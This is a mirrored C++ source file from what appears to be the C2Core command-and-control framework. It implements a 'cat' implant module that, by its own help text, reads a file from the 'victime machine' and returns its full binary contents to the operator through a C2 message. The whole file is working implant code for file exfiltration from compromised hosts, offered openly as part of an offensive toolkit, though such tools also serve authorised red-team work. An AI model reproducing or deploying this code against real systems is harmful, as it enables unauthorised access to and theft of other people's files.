mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
86 lines
1.4 KiB
C++
86 lines
1.4 KiB
C++
#include "Cat.hpp"
|
|
|
|
#include <cstring>
|
|
|
|
using namespace std;
|
|
|
|
|
|
const std::string moduleName = "cat";
|
|
|
|
|
|
#ifdef _WIN32
|
|
|
|
__declspec(dllexport) Cat* CatConstructor()
|
|
{
|
|
return new Cat();
|
|
}
|
|
|
|
#endif
|
|
|
|
Cat::Cat()
|
|
: ModuleCmd(moduleName)
|
|
{
|
|
}
|
|
|
|
Cat::~Cat()
|
|
{
|
|
}
|
|
|
|
std::string Cat::getInfo()
|
|
{
|
|
std::string info;
|
|
info += "cat:\n";
|
|
info += "Cat a file from victime machine\n";
|
|
info += "exemple:\n";
|
|
info += "- cat c:\\temp\\toto.exe\n";
|
|
|
|
return info;
|
|
}
|
|
|
|
int Cat::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
|
{
|
|
if (splitedCmd.size() >= 2 )
|
|
{
|
|
string inputFile;
|
|
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
|
{
|
|
if(!inputFile.empty())
|
|
inputFile+=" ";
|
|
inputFile+=splitedCmd[idx];
|
|
}
|
|
|
|
c2Message.set_instruction(splitedCmd[0]);
|
|
c2Message.set_inputfile(inputFile);
|
|
}
|
|
else
|
|
{
|
|
c2Message.set_returnvalue(getInfo());
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int Cat::process(C2Message &c2Message, C2Message &c2RetMessage)
|
|
{
|
|
c2RetMessage.set_instruction(m_name);
|
|
c2RetMessage.set_cmd(c2Message.inputfile());
|
|
c2RetMessage.set_inputfile(c2Message.inputfile());
|
|
|
|
std::string inputFile = c2Message.inputfile();
|
|
std::ifstream input(inputFile, std::ios::binary);
|
|
if( input )
|
|
{
|
|
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
|
c2RetMessage.set_returnvalue(buffer);
|
|
}
|
|
else
|
|
{
|
|
c2RetMessage.set_returnvalue("Failed: Couldn't open file.");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|